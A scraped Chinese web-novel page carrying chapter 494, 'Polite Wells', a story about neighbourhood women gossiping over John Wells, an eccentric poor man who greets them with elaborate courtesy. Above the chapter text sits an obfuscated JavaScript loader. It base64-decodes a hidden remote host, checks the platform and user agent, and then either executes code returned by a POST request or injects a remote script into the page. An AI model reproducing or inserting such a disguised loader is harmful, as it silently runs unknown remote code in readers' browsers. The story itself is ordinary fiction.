妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第494章 Ch493 有礼貌的韦尔斯(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('第494章ch.493有礼貌的韦尔斯

东区汉莱顿街区的每个人都知道。

十六号租赁房里住着个疯子。

他不是传统意义上的、会对谁造成伤害的疯狂人。

对妇女们来说,\x08约翰·韦尔斯先生甚至算得上‘绅士’——当太阳还没升起时,男人们像离巢的蚂蚁一路拥着而去,女人们就三三两两聚在一起,裹着衣,鼻音浓重地谈起近日发生的趣事。

通常来说,聚在一起的都是年龄稍大的女人。

那些年轻的、刚结婚的,会在为丈夫准备早餐并目送他们离去后,掉头回房间,睡到午饭时间。

——这些年轻的新婚妻子还对生活有所期待,并不清楚漫长的、无聊而平淡的生活有多么阴冷潮湿,以至于她们需要彼此依着,用粗糙的大手搓对方的皮肤,靠那产生的微弱温度活下去。

新婚妻子不知道。

所以,在晨雾中谈天的大多是上了年纪的。

也有更老的。

她们相互鼓励,取暖,也暗地里攀比,讽刺。

通常来说,话题会围绕男人,床,事业和未来。

简而化之。

男人。

\x08谁的男人看上去有力气,可实际上并不(一般讲出这样的话,当时人的妻子绝不在场)。

谁的男人得了上司的青眼,谁家买了新的家具,赚了大钱。

谁的男人让谁怀了孕,谁家的孩子长得还不如*眼好看(也许比这更粗俗)——

这些零碎、富有弹性的豆子够她们咀嚼半个上午,然后,兴致尽了,就像没了血肉与肠粪的鬣狗群一样哄一下散去,钻回各自的家——这时,那批新婚妻子们才刚刚起床。

她们无视了多舌老妇们‘懒鬼’的讽刺,理着自己姣好慵懒的睡颜,到门口转上一圈(以免有人说闲话),朝出来倒便桶的邻居笑那么两下。

进屋关上门,一整天都不再出来了。

但是。

当约翰·韦尔斯先生出名后。

这些女人们无论新婚与否,每日清晨,都准准聚在了一起——某种程度上,可以说,是约翰·韦尔斯先生让这些新婚的女士与邻居打成了一片。

他是有功劳的。

她们讨论他‘发病’的原因,猜测他的过去,编造并‘我没有恶意只是随口一说’的传递自己编造过的故事。

这无疑给韦尔斯先生的过去蒙上了一层神秘色彩。

但韦尔斯先生对此一无所知。

他每天清晨起床。

用泡软、泡糟的捏成条状的牛奶盒打磨牙齿,嚼细长的、不知该怎么称呼的叶片——他叫它薄荷小姐,但叶条不回答。

也许他称呼错了人。

他穿着四处漏风的罩衫,露出黑絮的旧外套,一条腿长一条腿短的水洗老布裤,用细麻绳当皮带,脚下是踢开了皮的大头鞋。

他会吃上几个到处跑的小蛋糕,打开门,到街上同他的邻居问好。

新的一天,我们要感谢万物之父的恩赏,让地上的羔羊得以沐浴希望之光。

“日安,女士们。”

他每天都这样做,女人们也习惯了——他不得不要夸赞这些下等人,这些见识浅薄、整天囿于一隅,不清楚社会真正模样的卑贱人们。

他要由衷夸赞她们。

因为她们没有像其他穷人那样‘大惊小怪’,仿佛一个‘日安’就像万物之父亲临一样的惊讶:约翰·韦尔斯理解这些人没见过如自己般富庶、有礼的,此生也几乎不能和他这样的人打上一次温和的招呼,进行短暂的交谈。

他理解,所以,才由衷夸赞她们。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间